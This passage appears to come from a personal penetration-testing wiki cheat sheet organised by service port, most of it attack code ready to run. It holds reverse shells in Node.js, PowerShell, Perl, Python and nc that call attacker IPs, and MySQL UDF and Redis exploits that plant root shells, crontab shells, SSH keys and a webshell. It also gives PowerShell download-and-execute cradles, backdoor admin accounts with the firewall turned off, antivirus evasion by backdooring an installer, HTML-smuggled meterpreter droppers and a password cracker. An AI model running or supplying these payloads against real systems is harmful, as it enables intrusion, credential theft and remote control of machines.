# Remember to change the IP address and PORT with the nc you are running.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "192.168.33.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
</syntaxhighlight>

----

== 3306 - MySQL/MariaDB ==

=== Privilege escalation ===

<syntaxhighlight lang="bash">
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf
# User-defined function (UDF)
# If you can login as root you can create a malicious functions to run commands.
https://www.exploit-db.com/exploits/1518
# You can also compile it on attacker if target dont have gcc. Use --static.
# Check if secure_file_priv. If empty means disabled
show variables like '%secure_file_priv%';
# Find plugin path. Add the path on step file (dumpfile)
show variables like '%plugin%';
$ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
# Can also transfer exploit raptor_udf2.so with hex.
## xxd -p raptor_udf2.so | tr -d '\n' > raptor_udf2.so.hex
* $ mysql -u root -p
* Enter password:
* [...]
# Set variable for shellcode
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
# Output shellcode to file on target
## select binary @shell into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
# OR
select do_system('cp /bin/bash /tmp/out; chmod +xs /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
</syntaxhighlight>

=== Privilege escalation method 2 ===

<syntaxhighlight lang="bash">
https://github.com/mysqludf/lib_mysqludf_sys
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.
xxd -p lib_mysqludf_sys.so| tr -d '\n' > lib_mysqludf_sys.so.hex
cat lib_mysqludf_sys.so.hex | xclip -selection clipboard
MariaDB [(none)]> select @@plugin_dir
MariaDB [(none)]> set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;
MariaDB [(none)]> select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this '/usr/lib/lib_mysqludf_sys.so
MariaDB [(none)]> create function sys_exec returns int soname 'udf_sys_exec.so';
MariaDB [(none)]> select * from mysql.func where name='sys_exec';
MariaDB [(none)]> select sys_exec('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh')
</syntaxhighlight>

<syntaxhighlight lang="bash">
git clone https://github.com/mysqludf/lib_mysqludf_sys.git
cd lib_mysqludf_sys
rm lib_mysqludf_sys.so
sed -i 's|$(LIBDIR)|.|g' Makefile
sed -i 's|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g' Makefile
ex lib_mysqludf_sys.c <<<"57,62m27|wq"
sudo apt install libmariadbd-dev
make
</syntaxhighlight>

----

== 3389 - RDP ==

=== Add user and enable RDP ===

<syntaxhighlight lang="bash">
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md
net user aghanim Password123 /add
net localgroup Administrators aghanim /add
net localgroup "Remote Desktop Users" aghanim /ADD
# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Turn firewall off
netsh firewall set opmode disable
Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
If you get this error:
"ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server.""
Add this reg key:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /
</syntaxhighlight>

=== ThinVNC ===

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/47519
</syntaxhighlight>

----

== 4505, 4506 - zmtp ==

<syntaxhighlight lang="bash">
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in
# https://github.com/jasperla/CVE-2020-11651-poc
python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
python3 exploit.py --master 192.168.115.130 -r /etc/shadow
</syntaxhighlight>

----

== 5432, 5433 - PostgreSQL ==

=== Commands ===

<syntaxhighlight lang="bash">
psql -U # Open psql console with user
psql -h -U -d # Remote connection
psql -h -p -U -W # Remote connection
</syntaxhighlight>

<syntaxhighlight lang="sql">
psql -h localhost -d -U #Password will be prompted
\list # List databases
\c # use the database
\d # List tables
\du+ # Get users roles
#Read a file
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;
#Write ascii to a file (copy to cannot copy binary data)
COPY (select convert_from(decode('','base64'),'utf-8')) to 'C:\\some\\interesting\path.cmd';
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
#Check if current user is superiser
SELECT current_setting('is_superuser'); #If response is "on" then true, if "off" then false
#Check if plpgsql is enabled
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
#Check users privileges over a table (pg_shadow on this example)
SELECT grantee, privilege_type
FROM information_schema.role_table_grants
WHERE table_name='pg_shadow'
#Get users roles
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolconnlimit, r.rolvaliduntil,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
</syntaxhighlight>

=== RCE ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

postgres=# COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.49.115:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;;
COPY 0
</syntaxhighlight>

----

== 5800, 5801, 5900, 5901 - VNC ==

----

== 5985, 5986 - WinRM ==

----
The easiest way to connect to WinRM using C# is to use '''WSMAN Automation'''.

=== Setup ===

Reference <code>wsmauto.dll</code> from <code>Windows\System32</code> in your project.

=== Code Example ===

The following code should work:

<source lang="csharp">
IWSMan wsman = new WSManClass();
IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();
if (options != null)
{
try
{
// options.UserName = ???;
// options.Password = ???;
IWSManSession session = (IWSManSession)wsman.CreateSession("http://<your_server_name>/wsman", 0, options);
if (session != null)
{
try
{
// retrieve the Win32_Service xml representation
var reply = session.Get("http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt", 0);
// parse xml and dump service name and description
var doc = new XmlDocument();
doc.LoadXml(reply);
foreach (var elementName in new string[] { "p:Caption", "p:Description" })
{
var node = doc.GetElementsByTagName(elementName)[0];
if (node != null) Console.WriteLine(node.InnerText);
}
}
finally
{
Marshal.ReleaseComObject(session);
}
}
}
finally
{
Marshal.ReleaseComObject(options);
}
}
</source>

Source:

* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp]

== 6370 - Redis ==

=== Commands & info ===

<syntaxhighlight lang="bash">
# Service file
/etc/systemd/system/redis.service
# Config file
installdir/redis/etc/redis. conf
</syntaxhighlight>

=== Crontab ===

<syntaxhighlight lang="bash">
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
</syntaxhighlight>

=== Dumping database ===

=== Load module ===

<syntaxhighlight lang="bash">
# See PG Sybaris writeup
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.
# Then you need some way to upload the compiled module
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so
# List loaded modules to check it was correctly loaded: MODULE LIST
# Execute commands:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
Unload the module whenever you want: MODULE UNLOAD mymodule
</syntaxhighlight>

=== Redis-rogue server ===

<syntaxhighlight lang="bash">
# A exploit for Redis(<=5.0.5) RCE
# https://github.com/n0b0dyCN/redis-rogue-server
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379
</syntaxhighlight>

=== SSH ===

[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]

<syntaxhighlight lang="bash">
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa
# 2 Write the public key to a file : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
# 4 Save the public key to the authorized_keys file on redis server:
# 4
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52
</syntaxhighlight>

=== Webshell ===

[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]

<syntaxhighlight lang="bash">
# You must know the path of the Web site folder.
# Try also /var/www/html
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test ""
OK
10.85.0.52:6379> save
OK
</syntaxhighlight>

----

== 27017 - MongoDB ==

=== Crack hash ===

<syntaxhighlight lang="python">
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.
#!/usr/bin/python3
import base64
import hashlib
import hmac
import sys
USERNAME = 'admin'
SALT = 'zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg=='
CLIENT_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK'
SERVER_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D'
ITERATIONS = 15000
TARGET = '/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98='
WORDLIST = '/usr/share/wordlists/rockyou.txt'
def byte_xor(ba1, ba2):
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
def proof(username, password, salt, client_nonce, server_nonce, iterations):
raw_salt = base64.b64decode(salt)
client_first_bare = 'n={},r={}'.format(username, client_nonce)
server_first = 'r={},s={},i={}'.format(server_nonce, salt, iterations)
client_final_without_proof = 'c=biws,r={}'.format(server_nonce)
auth_msg = '{},{},{}'.format(client_first_bare, server_first, client_final_without_proof)
salted_password = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), raw_salt, iterations)
client_key = hmac.digest(salted_password, b'Client Key', 'sha256')
stored_key = hashlib.sha256(client_key).digest()
client_signature = hmac.new(stored_key, auth_msg.encode('utf-8'), 'sha256').digest()
client_proof = byte_xor(client_key, client_signature)
return base64.b64encode(client_proof).decode('utf-8')
counter = 0
with open(WORDLIST) as f:
for candidate in f:
counter = counter + 1
if counter % 1000 == 0:
print('Tried {} passwords'.format(counter))
p = proof(USERNAME, candidate.rstrip('\n'), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)
if p == TARGET:
print('Password found: {}'.format(candidate.rstrip('\n')))
sys.exit(0)
print('Wordlist exhausted with no password found.')
</syntaxhighlight>

----

== 29819 - Windows IoT Core SirepServer ==

[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]

<syntaxhighlight lang="bash">
# Upload file - Example
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe'
# Execute command - Example
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444'
</syntaxhighlight>

----

== Active Directory/Windows ==

https://blog.aghanim.net/?p=2078

=== ASREPRoast ===

=== BloodHound ===

<syntaxhighlight lang="bash">
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.
python3 bloodhound.py -c All -d -u -p '' -ns
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Start neo4j database
./neo4j console
# Start BloodHound
./BloodHound.bin --no-sandbox
</syntaxhighlight>

=== Curated list of commands ===

=== Dump hash ===

<syntaxhighlight lang="bash">
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
</syntaxhighlight>

=== Kerberoast ===

=== Pass The Hash ===

=== Password Spraying ===

<syntaxhighlight lang="bash">
crackmapexec smb -u users.txt -p passwords.txt
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
</syntaxhighlight>

=== PSEXEC.py, PSExec.exe, Evil-WinRM ===

<syntaxhighlight lang="bash">
python3 psexec.py test.local/john:password123@10.10.10.1
</syntaxhighlight>

<syntaxhighlight lang="bash">
# evil-winrm -u svc-alfresco -p 's3rvice' -i 10.10.10.161
</syntaxhighlight>

<syntaxhighlight lang="bash">
# From SysInternals
PsExec.exe -i -u domain\user cmd.exe
</syntaxhighlight>

=== Powershell commands ===

Running powershell x64, and running (IEX) the downloaded ps1 file.

<syntaxhighlight lang="powershell">
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.17:9000/mini-reverse.ps1')
</syntaxhighlight>

Running Powershell on target with ExectionPolicy to bypass

<syntaxhighlight lang="powershell">
powershell.exe -nop -exec bypass
</syntaxhighlight>

Running PowerUp.ps1 on target machine

<syntaxhighlight lang="powershell">
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.17:9000/PowerUp.ps1');Invoke-AllChecks"
</syntaxhighlight>

Downloading SharpHound.exe on target machine

<syntaxhighlight lang="powershell">
(new-object System.Net.WebClient).DownloadFile('http://10.10.14.17:9000/SharpHound.exe', 'C:\Users\[...]\Desktop\SharpHound.exe')
# Execute SharpHound
./SharpHound.exe
</syntaxhighlight>

Running PowerView.ps1 on target machine

<syntaxhighlight lang="powershell">
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.45:5555/PowerView.ps1')
</syntaxhighlight>

Running Nishangs Invoke-PowershellTCP

<syntaxhighlight lang="powershell">
powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.18:9000/shell.ps1')
</syntaxhighlight>

Use invoke webrequest and download script. With -UseBasicParsing. ''-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.''

<syntaxhighlight lang="powershell">
iex (iwr '10.10.14.9:9000/ipw.ps1') -UseBasicParsing
</syntaxhighlight>

Download a file and save it to location.

<syntaxhighlight lang="powershell">
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe
</syntaxhighlight>

Mini-reverseshell.ps1

<syntaxhighlight lang="powershell">
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
</syntaxhighlight>

Powershell location

<syntaxhighlight lang="bash">
# 64-bit Windows
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe
# 32-bit (x86) Windows
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
</syntaxhighlight>

=== User enumeration ===

<syntaxhighlight lang="bash">
./kerbrute_linux_amd64 userenum -d --dc usernames.txt
</syntaxhighlight>

----

== Ansible ==

[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]

<syntaxhighlight lang="bash">
# Run Ad-hoc command
ansible victims -a "whoami"
# Run ad-hoc command as root or other users
# If you don't specify user it will default to root.
ansible victims -a "whoami" --become

## Crack Ansible hash
# Notice the spaces between AES256 and 666...
cat test.yml >
$ANSIBLE_VAULT;1.1;AES256
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764
# Convert to readable hash
https://github.com/willstruggle/john/blob/master/ansible2john.py
python3 ansible2john.py test.yml > ansiblehash
cat ansiblehash >
$ansible$0*0*9661a952b5822af9a210...
# Crack the hash using john or hashcat
john ansiblehash
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt
# Decrypt vault
cat pw.txt >
$ANSIBLE_VAULT;1.1;AES256
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764
cat pw.txt | ansible-vault decrypt
# Use the pass cracked from john or hashcat
Vault password:
lab
# Run the playbook
ansible-playbook playbook.yml --vault-password-file=vault.txt
# OR
ansible-playbook playbook.yml --ask-vault-pass
</syntaxhighlight>

== Artifactory Jfrog ==

<syntaxhighlight lang="bash">
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide
</syntaxhighlight>

== Anti-Virus Evasion (Bypass) ==

[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]

PWK chapter 17

OSEP

=== Test payload against AV ===

https://virustotal.com (Don't use if you want you're payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.

https://antiscan.me

=== Theory ===

<syntaxhighlight lang="bash">
# On-Disk Evasion
- Packers
- Obfuscator
- Crypters
- Software protectors
# In-memory Evasion
- Remote Process Memory Injection
- Reflective DLL Injection
- Process Hollowing
- Inline hooking
</syntaxhighlight>

=== Shellter ===

Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.

It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.

The free version only works for x86, not x64.

<syntaxhighlight lang="bash">
# Install
sudo apt install shellter
apt install wine
# If error
dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32:i386
# Start
shellter
# Download a valid .exe file, ex spotify installer and load it into shellter.
/home/aghanim/downloads/SpotifySetup.exe
# Choose a payload from the list.
L
1
SET LHOST: IP
SET LPORT: PORT
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You'll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter "migrate".
set AutoRunScript post/windows/manage/migrate
-----------------------
# You can also set custom payload
# First generate a binary file with msfvenom. -e is the encoding we're using, and -i is the number of iterations. (The number of times to encode the payload)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw > met.bin
# Start shellter
Choose Operation Mode - Auto/Manual (A/M/H): A
PE Target: /home/kali/poultry/whoami.exe
**********
* Backup *
**********
Backup: Shellter_Backups\whoami.exe
...
Filtering Time Approx: 0.0024 mins.
Enable Stealth Mode? (Y/N/H): N
************
* Payloads *
************
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
Use a listed payload or custom? (L/C/H): C
Select Payload: /home/kali/poultry/met.bin
Is this payload a reflective DLL loader? (Y/N/H): N
****************
* Payload Info *
****************
...
Injection: Verified!
</syntaxhighlight>

[[File:2022-10-image-1.png|thumb]]

[[File:2022-10-image-2.png|thumb]]

=== Veil Framework ===

Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.

<syntaxhighlight lang="bash">
# Install
# https://github.com/Veil-Framework/Veil
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
# If error with (wine) python pip peefile version fix with this
vim /usr/share/veil/config/setup.sh
Change line 587 to:
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
Then, run # veil --setup again.

# Start veil
veil
# or
/usr/share/veil/Veil.py
# Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool

# Generate a powershell script (bat file) for evasion
veil > use evasion
# List payloads
veil > list
# Use powershell rev tcp payload
veil/evasion > use powershell/meterpreter/rev_tcp.py
# List options
[powershell/meterpreter/rev_tcp>>]: options
# Generate payload
[powershell/meterpreter/rev_tcp>>]: generate

# From pic below, payload is in /var/lib/veil/output/source/ folder
</syntaxhighlight>

[[File:2022-10-image-3.png|thumb]]

=== Ebowla ===

<syntaxhighlight lang="bash">
https://github.com/Genetic-Malware/Ebowla
# Use it to obfuscate payloads like JuicyPotato or other exploits.
# Quick demo
https://www.youtube.com/watch?v=rRm3O7w5GHg
</syntaxhighlight>

----

== API ==

[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]

<syntaxhighlight lang="bash">
# Need to have golang installed
apt-get install golang
# build the binary
make build
# symlink your binary
ln -s $(pwd)/dist/kr /usr/local/bin/kr
# compile the wordlist
# kr kb compile
kr kb compile routes.json routes.kite
# scan away
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053
</syntaxhighlight>

== Buffer overflow ==

https://blog.aghanim.net/?p=1932

----

== Browser exploits ==

=== Firefox ===

<syntaxhighlight lang="bash">
# Extract passwords from profile
https://github.com/unode/firefox_decrypt
</syntaxhighlight>

----

----

== Client-Side Code Execution ==

=== HTML Smuggeling ===

HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the
browser to automatically download a file when a user clicks the assigned hyperlink.
</pre>

In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.

<syntaxhighlight lang="bash">
# Generate a staged payload using msfvenom.
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe
# Saved it as base64 as to not lose any data.
base64 msfstaged.exe
</syntaxhighlight>

<syntaxhighlight lang="markup">

function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i
var file ="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA..."
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'msfstaged.exe';

var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);

</syntaxhighlight>

[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]

=== Microsoft Office Macro Client-side Attack ===

https://blog.aghanim.net/?page_id=1809#Microsoft_Word

==== Visual Basic for Applications [VBA] ====

<syntaxhighlight lang="visual">
'VBA Datatype
'Dim is used to declare variables
Dim myString As String # Unicode
Dim myLong As Long # 64-bit integer
Dim myPointer As LongPtr # Memory pointer
'Example - if and else statement
Sub MyMacro()
Dim myLong As Long
myLong = 1
If myLong < 5 Then
MsgBox ("True")
Else
MsgBox ("False")
End If
End Sub

'Example - Launch cmd.exe with a hidden window
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "cmd.exe"
Shell str, vbHide
End Sub
'The picture below show the cmd.exe running as a child process of winword.
</syntaxhighlight>

[[File:2023-02-image-1.png|thumb]]

----

== Certificate Types ==

{| class="wikitable"
|-
! Extension
! Full Name
! Contains
! Format
! Common Use
! Use Case
! Real-World Example
|-
| .cer
| Certificate
| Public key
| Usually in DER or PEM
| Sharing or installing public keys
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates
| Adding a trusted certificate in Windows to access a secure corporate intranet site
|-
| .pem
| Privacy Enhanced Mail
| Certificates and/or private keys
| Base64 encoded text (PEM)
| SSL certificates and private keys, commonly used in web servers
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security
|-
| .crt
| Certificate
| Public key
| Usually in PEM or DER
| Similar to .cer, used for certificates in web servers
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)
| Installing an SSL/TLS certificate from Let's Encrypt (.crt) to secure your website and enable HTTPS
|-
| .pfx
| Personal Information Exchange
| Private key and certificate (often password-protected)
| Binary (PFX)
| Bundling a private key with a certificate, used for importing/exporting certificates
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file
|-
| .key
| Private Key File
| Private key
| Text (usually PEM)
| Storing private keys for SSL certificates, often paired with .crt files
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate
| Using a .key file along with a .crt file to configure HTTPS for a website
|-
| .der
| Distinguished Encoding Rules
| Certificate or private key in binary
| Binary (DER)
| Storing certificates or private keys in binary format
| Used in environments where certificates or keys need to be in a compact, binary format
| Using a .der file to import a certificate in Windows or Java environments
|-
| .csr
| Certificate Signing Request
| Information about an entity requesting a certificate
| Text (usually PEM)
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)
| Generating a .csr to request an SSL/TLS certificate from a CA like Let's Encrypt
| Creating a .csr file to obtain an SSL certificate for your website
|-
| .p7b or .p7c
| PKCS#7 Certificate File
| Certificates in chain (no private key)
| Base64 or Binary
| Sharing a certificate chain
| Importing a full certificate chain in environments like Java keystores
